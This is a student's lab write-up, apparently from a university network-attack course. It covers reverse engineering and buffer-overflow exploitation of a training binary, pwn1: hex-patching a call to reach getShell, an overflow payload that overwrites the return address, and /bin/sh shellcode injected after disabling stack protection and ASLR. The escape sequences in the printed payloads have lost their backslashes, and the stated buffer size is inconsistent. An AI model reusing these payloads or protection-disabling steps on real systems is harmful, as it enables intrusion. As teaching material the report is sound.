2020-2021-2 20175221曾祥杰 《网络对抗技术》Exp1 PC平台逆向破解

Exp1 PC平台逆向破解

目录

  • 基础知识
  • 实验内容
    • 直接修改程序机器指令,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 实验步骤及结果
  • 问题及解决方案
  • 心得体会与思考

基础知识:

  1. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
  2. JE:条件转移指令,如果相等则跳转。(机器码:74)
  3. JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  4. JMP:无条件转移指令。
  5. CMP:相当于减法指令,对操作数之间运算比较,不保存结果。
  6. objdump:反汇编指令机器码。
  7. perl -e:后面跟字符串,表示在命令行要执行的命令。
  8. ps -ef:显示所有进程的UID,PPIP,C与STIME栏位。
  9. |:管道,将前者的输出作为后者的输入。
  10. >:输入输出重定向符,将前者输出的内容输入到后者中。
  11. vim16进制显示切换:
  • 将显示模式切换为16进制模式:%!xxd
  • 将16进制切换回ASCII码模式:%!xxd -r

1.直接修改程序机器指令,改变程序执行流程

  • 首先下载 pwn1.zip ,然后 unzip pwn1 解压文件,得到 pwn1 .随后将文件备份,并命名为 20175221pwn2
  • 将 pwn2 进行反汇编: objdump -d 20175221pwn2 ,得到以下代码:
  • 首先观察main函数中 80484b5 部分, e8 表示 call 命令,即跳转,跳转至 foo 函数。我们的任务便是通过修改机器指令来改变其执行函数的顺序。
  • 目标是 getShell 函数,观察到getShell函数的地址 0804847d ,与 foo函数地址 08048491 差值为(十六进制):14
  • call 汇编指令机器码中的 “d7 ff ff ff” 这四个字节为数值部分,代表指令跳转时需要与“eip”寄存器相加的偏移量
  • 故我们要想将跳转的目标从 foo 函数变成 getShell 函数,就需将字节部分的 d7 减去偏移量14,修改为 c3
  • 随后是修改的步骤:
  1.  vi 20175221pwn2 进入命令模式
  2. 输入 :%!xxd 将文件以十六进制显示
  3. 在底行输入 /e8 d7 (中间空格)查找对应处
  4.  i 进入插入模式,将d7修改为c3。完毕后 Esc 
  5. 之后 :%!xxd -r还原为原格式
  6.  :wq 保存退出
  • 再次反汇编 20175221pwn2 ,观察到 call 指令已经正确调用 getShell 函数
  • 随后运行,得到Shell提示符

2.构造输入参数,造成BOF攻击,改变程序执行流程

  • 首先分析代码,发现foo函数存在Buffer overflow漏洞
  • foo函数中读入字符串,但系统只预留了xx字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
  • call调用foo,同时在堆栈上压上返回地址值 0x80484ba 
  • 随后我们进入gdb模式,输入以下有规律的字符串,产生溢出
  •  info r 查看寄存器eip的值,可看出是输入的连续四个 5 (ASCII)的地方产生了错误
  • 将原来的八个5替换为“12345678”试试,以确认是哪几个字符溢出至eip
  • 观察到“34333231”,即原来输入的“1234”反向溢出至eip。至此可得出系统只预留了 32 字节的缓冲区,超出部分会造成溢出
  • 故我们可先任意输入32字节字符串,再输入getShell的地址 0x0804847d 覆盖返回地址即可。根据小端的存储方式,我们在 32 字节后输入的地址应为 x7dx84x04x08 
  • 接下来需要生成一个包含这样字符串的文件,来构造输入值。使用 perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input 命令构造文件
  • 使用十六进制查看指令xxd查看input文件是否符合预期
  • 确认无误后用 (cat input;cat) | ./20175221pwn3 来将字符串作为可执行文件的输入

3.注入Shellcode执行

  • shellcode简单来说就是一段机器指令:
  • 通常这段机器指令的目的是为获取一个交互式的shell(linux的shell,windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 首先进行以下设置:
  • apt-get install execstack //安装execstack
    execstack -s pwn1 //关闭堆栈执行保护
    execstack -q pwn1 //查询文件堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
  • 准备工作完成,根据缓冲区大小写入shellcode代码:若缓冲区足够大,则将shellcode代码写入buffer;或缓冲区小,则把shellcode放在返回地址后,再将返回地址改为buffer的首地址
  • 运行pwn1,随后开启另一个终端, ps -ef | grep pwn1 查看这个进程,发现进程号为3779
  • gdb调试该进程,disassemble foo 反汇编foo函数,随后在 0x080484a5 处设置断点。在pwn1运行终端内敲空格,随后在gdb调试终端输入c继续运行。
  • info r esp查看esp栈顶指针的地址, x/16x 0xffffd34c 以16进制形式查看0xffffd34c地址后面16字节的内容
  • 从图中看到01020304所在的地址为0xffffd34c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即 0xffffd34c + 0x00000004 = 0xffffd350 退出gdb。
  • 将老师提供的Shellcode代码修改为 perl -e 'print "A" x 32;print"x50xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
  • 输入命令 (cat input_shellcode;cat) | ./pwn1
  • 攻击成功!
  • 遇到的问题与解决方法:

  • 问题1: apt-get install execstack 下载时,遇到E:无法定位.......(忘记截图了。。)
  • 问题1的解决方法:百度了一下,需要更换源。用了清华的源update就好了。
  • 问题2:最后第三部分的时候,shellcode输入完运行,ls总是段错误,反复检查也不是计算或者输入的问题
  • 问题2的解决方法:关闭终端,重新打开。重开大法就解决了我困扰了许久的。我也不太清楚为什么(可能是这个shellcode会重复?第二题做过了,第三题必须关掉终端重新打开才能弄新的shellcode?)
  • 思考问题与体会:

  • 心得体会:

  • 汇编和信安原理中已经学习过指令体结构以及机器码的相关内容,但当时学习的时候并没有特别深感触,可能是因为理论知识没有实际应用,堆栈,寄存器之类还很迷糊。这次亲自实现缓冲区溢出攻击,使我对堆栈有了更深的了解,理解了堆栈是怎么被恶意代码覆盖的,覆盖后又怎么跳转,跳转后又怎么执行等等。也学会了修改机器码,以及一些额外的指令,如:perl -e、ps -ef、|等等,以后应该会经常用到。总之收获还是蛮多的。
  • 什么是漏洞?漏洞有什么危害?

  • 漏洞是指一个系统存在的弱点或缺陷,系统对特定威胁攻击或危险事件的敏感性,或进行攻击的威胁作用的可能性。
  • 通过这次实验,我觉得缓冲区溢出漏洞是在程序设计时,没有考虑到输入超出栈分配的空间(例如这次最多28字节,输入32字节就崩了),由此被攻击者利用造成的。利用这个漏洞,攻击者可能会进入被攻击者的命令行,从而对被攻击者进行任意的操作,远程控制,监听等;或者留下后门,让相关的恶意代码,木马植入,无论哪种对个人PC都是极大的危害。
原文地址:https://www.cnblogs.com/zxja/p/12393586.html